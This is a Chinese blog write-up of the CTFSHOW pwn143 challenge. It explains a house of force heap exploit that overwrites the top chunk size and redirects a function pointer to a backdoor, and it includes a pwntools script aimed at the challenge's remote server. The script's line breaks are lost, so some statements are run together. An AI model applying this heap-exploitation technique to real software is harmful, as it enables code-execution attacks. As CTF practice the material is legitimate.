当前位置: 首页 > news >正文

CTFSHOW pwn143 WP

checksec:

64位 IDA64打开 查看 整理main函数:


可以修改堆的长度 存在堆溢出

存在后门函数 且main函数的退出前会执行v4[1]位置的函数 该位置目前为goodbye_message函数

因为有着堆溢出且溢出长度没有限制 考虑house of force做法

先动态调试 找到该位置和top chunk的偏移

可以看到 第一个堆(变量v4)距离 top chunk 0x60

接下来将topchunk的size位修改为大数

最后申请一个大小为-(0x60 + 0x8)的堆(v4[0]往后挪:v4[1])

exp:

from pwn import *#p = process('./pwn143')
p = remote("pwn.challenge.ctf.show",  28288)
elf = ELF('./pwn143')
context.log_level = 'debug'def add(length, name):p.sendlineafter("Your choice:", b'2')p.sendlineafter(" length:", str(length))p.sendlineafter(" name:", name)def delete(index):p.sendlineafter(b'Your choice:' , b'4')p.sendlineafter(b'index:' , str(index))def edit(index, length, name):p.sendlineafter(b'Your choice:' , b'3')p.sendlineafter(b'index:' , str(index))p.sendlineafter(b'length of name:' , str(length))p.sendlineafter("name:", name)def show(index):p.sendlineafter(b'Your choice:' , b'1')flag_addr = 0x400D7Fpayload = b'a' * 0x30 + b'a' * 8 + p64(0xffffffffffffffff)
add(0x30, b'aaaa')edit(0, 0x41, payload)
size = 0xFFFFFFFFFFFFFF80
add(-(0x60 + 0x8), b'aaaa')
add(0x10, p64(flag_addr) * 2)
p.sendlineafter(b'Your choice:' , b'5')
p.interactive()

相关文章:

  • React19源码系列之合成事件机制
  • 数据库学习笔记(十五)--变量与定义条件与处理程序
  • 核方法、核技巧、核函数、核矩阵
  • Java 语言特性(面试系列2)
  • 关于Android camera2预览变形的坑
  • [创业之路-415]:经济学 - 价值、使用价值、交换价值的全面解析
  • MS9292+MS9332 HD/DVI转VGA转换器+HD环出带音频
  • HarmonyOS开发:设备管理使用详解
  • GISBox如何导入Revit格式的BIM数据?
  • Kotlin基础语法二
  • AI驱动下的商品详情API:2025年电商平台的智能化数据交互新趋势
  • <component :is=““>
  • 【C++】回调函数,是什么,怎么用?
  • iview组件库:关于分页组件的使用与注意点
  • Spring Boot 分层架构与数据流转详解
  • uniapp的请求封装,如何避免重复提交请求
  • php利用createSheet生成excel表格(控制行高列宽、文本自动换行及表头字体样式)
  • RestClient
  • 基于数字孪生的水厂可视化平台建设:架构与实践
  • 【python深度学习】Day 50 预训练模型+CBAM模块
  • 落实网站建设培训班精神/优化seo
  • 漳平网络建站公司/cms网站
  • 顺德顺的网站建设/有什么平台可以发广告
  • 老年人做网站/百度站长电脑版
  • php做网站后台/百度seo综合查询
  • dw和asp.net动态网站开发/网站搭建需要多少钱